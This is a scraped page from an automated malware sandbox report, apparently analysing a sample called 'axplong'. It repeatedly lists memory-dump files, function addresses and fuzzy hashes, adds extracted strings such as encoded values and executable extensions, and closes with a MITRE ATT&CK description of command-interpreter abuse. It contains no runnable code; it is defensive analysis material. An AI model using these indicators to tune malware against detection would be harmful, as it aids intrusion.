Associated: 00000006.00000002.2994318678.0000000001245000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001273000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000127C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000128B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995914399.000000000128C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996144903.0000000001424000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996167884.0000000001426000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f80000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c847211cb6cb96c28a63642da3f3ff05fdbde85e747676672837c04071b58c1a
Instruction ID: 3675271a9c59eb337e909bd762ce00b4e11a4b385a4c21db5648c273864a46e1
Opcode Fuzzy Hash: c847211cb6cb96c28a63642da3f3ff05fdbde85e747676672837c04071b58c1a
Instruction Fuzzy Hash: DD2261B3F516144BDB0CCB5DDCA27EDB2E3AFD8214B0E803DA40AE3345EA79D9159A44

Function 00FC6F09 Relevance: .3, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2994049764.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000006.00000002.2993952529.0000000000F80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994049764.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994221904.0000000000FE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000000FEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000116B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001245000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001273000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000127C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000128B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995914399.000000000128C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996144903.0000000001424000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996167884.0000000001426000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f80000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c38ab01d2c8d350c17f6d11bf62910aa0f25610bc21a9a9b8800354048884958
Instruction ID: 39d3ffd3f7d3b9568ef8539ffee37d154c52d01bda67c05110378301c20a9272
Opcode Fuzzy Hash: c38ab01d2c8d350c17f6d11bf62910aa0f25610bc21a9a9b8800354048884958
Instruction Fuzzy Hash: 55B16A3261460A8FD719DF28C586F657BA0FF45364F29865CE899CF2A1C336E982DF40

Function 00F9D312 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00F8247E

Memory Dump Source

Source File: 00000006.00000002.2994049764.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000006.00000002.2993952529.0000000000F80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994049764.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994221904.0000000000FE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000000FEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000116B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001245000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001273000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000127C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000128B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995914399.000000000128C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996144903.0000000001424000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996167884.0000000001426000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f80000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: bf22ae7523af8b923d0ff1b9ec33b48fd458d3803f363d710260017aa0d6eca6
Instruction ID: 475f1c7d7d5e8f71238a44daf73c0133d9747dee7137195fb2cdb402483caae1
Opcode Fuzzy Hash: bf22ae7523af8b923d0ff1b9ec33b48fd458d3803f363d710260017aa0d6eca6
Instruction Fuzzy Hash: 49518AB2D006098BEF19CF54D8C57AABBF4FB48724F24852AD404EF291E3749940EF50

Function 00F84AF0 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2994049764.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000006.00000002.2993952529.0000000000F80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994049764.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994221904.0000000000FE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000000FEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000116B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001245000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001273000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000127C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000128B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995914399.000000000128C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996144903.0000000001424000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996167884.0000000001426000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f80000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d6ae7c74844db90d0ba3653d44e6da34e52f556e1ae6b0200c44ed1ceded6cd
Instruction ID: 2e19dbc0127bf477d1abfa5c4ccd7576f546bd87e2620365e56d7af2a158ce6e
Opcode Fuzzy Hash: 4d6ae7c74844db90d0ba3653d44e6da34e52f556e1ae6b0200c44ed1ceded6cd
Instruction Fuzzy Hash: 3451A3716083928FD319CF2D851523ABFE2AFD5300F084A9EE4D687292D774E644DBA1

Function 00FC777B Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2994049764.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000006.00000002.2993952529.0000000000F80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994049764.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994221904.0000000000FE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000000FEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000116B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001245000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001273000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000127C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000128B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995914399.000000000128C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996144903.0000000001424000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996167884.0000000001426000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f80000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3df61fa57991f9be02cb64139120814876ebd0d37ef33477f135ec9441f4d8d1
Instruction ID: e06cbafc73fd2f97b45b6bc4240739e21f05ef2180fca7b2eeaeb74f31e15575
Opcode Fuzzy Hash: 3df61fa57991f9be02cb64139120814876ebd0d37ef33477f135ec9441f4d8d1
Instruction Fuzzy Hash: E821B673F205394B770CC47E8C5727DB6E1C68C541745423AF8A6EA2C1D96CD917E2E4

Function 00FC765B Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2994049764.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000006.00000002.2993952529.0000000000F80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994049764.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994221904.0000000000FE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000000FEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000116B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001245000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001273000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000127C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000128B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995914399.000000000128C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996144903.0000000001424000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996167884.0000000001426000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f80000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb99dea7a15309c323c64cb3e94ecc49b4607978f5ed79944bb67472994c953c
Instruction ID: 1b4b720dd23d6ec36e082c6468d5ec50794e9e0e7bad098a865e85f436fffb63
Opcode Fuzzy Hash: fb99dea7a15309c323c64cb3e94ecc49b4607978f5ed79944bb67472994c953c
Instruction Fuzzy Hash: 88117723F30C255A675C817D8C1727AA5D2DBD825071F533AD826EB284E994DE23E290

Function 00FC8720 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2994049764.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000006.00000002.2993952529.0000000000F80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994049764.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994221904.0000000000FE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000000FEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000116B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001245000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001273000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000127C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000128B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995914399.000000000128C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996144903.0000000001424000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996167884.0000000001426000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f80000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: f2727f536e895ebe4926f9dc87955fa487712a162dab79b743943c262b3c76ec
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: BD11E67BA0014347D605862DCBF6FB6A796EEC53B1B3C437ED0414B658FA229947F900

Function 00FB645B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2994049764.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000006.00000002.2993952529.0000000000F80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994049764.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994221904.0000000000FE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000000FEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000116B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001245000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001273000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000127C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000128B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995914399.000000000128C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996144903.0000000001424000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996167884.0000000001426000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f80000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c19a44cd79f88d73de7e7d2796829a4d4ee3b76e85de9b5582d196efff8e2a73
Instruction ID: 91cde06dacca7579c022b697d3c5f32309b37681a43ec150ea73917670c0208b
Opcode Fuzzy Hash: c19a44cd79f88d73de7e7d2796829a4d4ee3b76e85de9b5582d196efff8e2a73
Instruction Fuzzy Hash: D2E08630181A08AEDF25BB1ADC18DC83B59EB51350F004418F8048E521CB3EDD91DD80

Function 00FBA1C2 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2994049764.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000006.00000002.2993952529.0000000000F80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994049764.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994221904.0000000000FE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000000FEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000116B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001245000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001273000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000127C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000128B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995914399.000000000128C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996144903.0000000001424000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996167884.0000000001426000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f80000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: ff0f985288b1197e7227eaca42062d3e6c6ad04acf62ac9a78eb1b616e9eae3f
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 28E0B672915228EBCB15DB9D894498AF2ACEB49B50F554496B501D3251C274DF00DBD1

Function 00F92E20 Relevance: 17.9, APIs: 3, Strings: 7, Instructions: 434COMMON

Download Yara Rule

Strings

246122658369, xrefs: 00F933D4
invalid stoi argument, xrefs: 00F9425A
8KG0fymoFx==, xrefs: 00F92EC7
stoi argument out of range, xrefs: 00F94269
HBhr, xrefs: 00F9378F
WGt=, xrefs: 00F933BA
Fz==, xrefs: 00F9369E

Memory Dump Source

Source File: 00000006.00000002.2994049764.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000006.00000002.2993952529.0000000000F80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994049764.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994221904.0000000000FE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000000FEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000116B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001245000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001273000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000127C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000128B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995914399.000000000128C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996144903.0000000001424000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996167884.0000000001426000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f80000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 246122658369$8KG0fymoFx==$Fz==$HBhr$WGt=$invalid stoi argument$stoi argument out of range
API String ID: 0-2390467879
Opcode ID: 0a0a173eff093a72916578ebcb74d62ccb1463bbe23aa8bfd4614c9de1d9e257
Instruction ID: d96dcee2ec1bfac919b25d3849e3494149e3cc5a99415f1e42fb6b19b600fb62
Opcode Fuzzy Hash: 0a0a173eff093a72916578ebcb74d62ccb1463bbe23aa8bfd4614c9de1d9e257
Instruction Fuzzy Hash: D902D271E10248EFEF14EFA8CC45BDEBBB5EF05304F544158E805A7282D7799A84DBA2

Function 00FB70C9 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00FB710B

Strings

.com, xrefs: 00FB714B
.exe, xrefs: 00FB7118
.cmd, xrefs: 00FB7129
.bat, xrefs: 00FB713A

Memory Dump Source

Source File: 00000006.00000002.2994049764.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000006.00000002.2993952529.0000000000F80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994049764.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994221904.0000000000FE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000000FEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000116B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001245000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001273000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000127C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000128B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995914399.000000000128C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996144903.0000000001424000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996167884.0000000001426000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f80000_axplong.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 779b328f218f7a3d04750cd757ea1d4b111ad9888eb1c83eaa5c6c2437f11ed9
Instruction ID: 6f9263dd8f90e7b7271cae56476f4589ad97d6e76050dc2848c714d9245bd8d0
Opcode Fuzzy Hash: 779b328f218f7a3d04750cd757ea1d4b111ad9888eb1c83eaa5c6c2437f11ed9
Instruction Fuzzy Hash: 3601C827A08716265718741E9C426BB27999BD2BB4719002BFD44F73C1DE89DC0279B1

Function 00F82E80 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00F82F1F
__Mtx_unlock.LIBCPMT ref: 00F82F8C
__Cnd_broadcast.LIBCPMT ref: 00F82FA3
__Mtx_unlock.LIBCPMT ref: 00F830B5
__Mtx_unlock.LIBCPMT ref: 00F8315B

Memory Dump Source

Source File: 00000006.00000002.2994049764.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000006.00000002.2993952529.0000000000F80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994049764.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994221904.0000000000FE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000000FEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000116B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001245000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001273000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000127C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000128B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995914399.000000000128C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996144903.0000000001424000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996167884.0000000001426000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f80000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: fd6aae7a636af50b41f557e20bb69e4aa839e502f74196cb628a5e3f6a379c44
Instruction ID: 6674103da9fb60c5896d2757e430b7071a69868e06e27c7d2eb24d73937a7b9a
Opcode Fuzzy Hash: fd6aae7a636af50b41f557e20bb69e4aa839e502f74196cb628a5e3f6a379c44
Instruction Fuzzy Hash: 3CA1FFB0E006059FEF11EB64CD45BAAB7B8FF15724F048129E915D7291EB34EA04EBD1

Function 00FBC9B0 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00FBCA37

Memory Dump Source

Source File: 00000006.00000002.2994049764.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000006.00000002.2993952529.0000000000F80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994049764.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994221904.0000000000FE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000000FEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000116B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001245000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001273000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000127C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000128B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995914399.000000000128C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996144903.0000000001424000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996167884.0000000001426000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f80000_axplong.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 06cc7c729825ef3726f3ff46e89b4dfb23933aad1dd17f016a943cdb57bb7414
Instruction ID: 25fad510eae17b2dde6e8464fa2e442a364149944b6765f5634769e730e8c3b1
Opcode Fuzzy Hash: 06cc7c729825ef3726f3ff46e89b4dfb23933aad1dd17f016a943cdb57bb7414
Instruction Fuzzy Hash: 83B12472D002859FDB11CF2AC852BEFBBA5EF95350F14816AE445DB241D6389D42EFA0

Function 00F9BAA2 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00F9BAFA
__Xtime_diff_to_millis2.LIBCPMT ref: 00F9BB14
_xtime_get.LIBCPMT ref: 00F9BB37
__Xtime_diff_to_millis2.LIBCPMT ref: 00F9BB43

Memory Dump Source

Source File: 00000006.00000002.2994049764.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000006.00000002.2993952529.0000000000F80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994049764.0000000000FE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994221904.0000000000FE9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000000FEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000116B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001245000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.0000000001273000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000127C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994318678.000000000128B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995914399.000000000128C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996144903.0000000001424000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996167884.0000000001426000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f80000_axplong.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: c15625e5076f406b595ee22be9d8c663114db1e590a3983ff3ae7343249fb50d
Instruction ID: 43115bf811ff19ed7f716948a4a6499a1b1a83bdfb58043af2d278ad06cf3eb4
Opcode Fuzzy Hash: c15625e5076f406b595ee22be9d8c663114db1e590a3983ff3ae7343249fb50d
Instruction Fuzzy Hash: FE216575D01109AFEF10EFA4DD419BEBB78EF48714F000065F601A7291DB74AD01ABE1

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

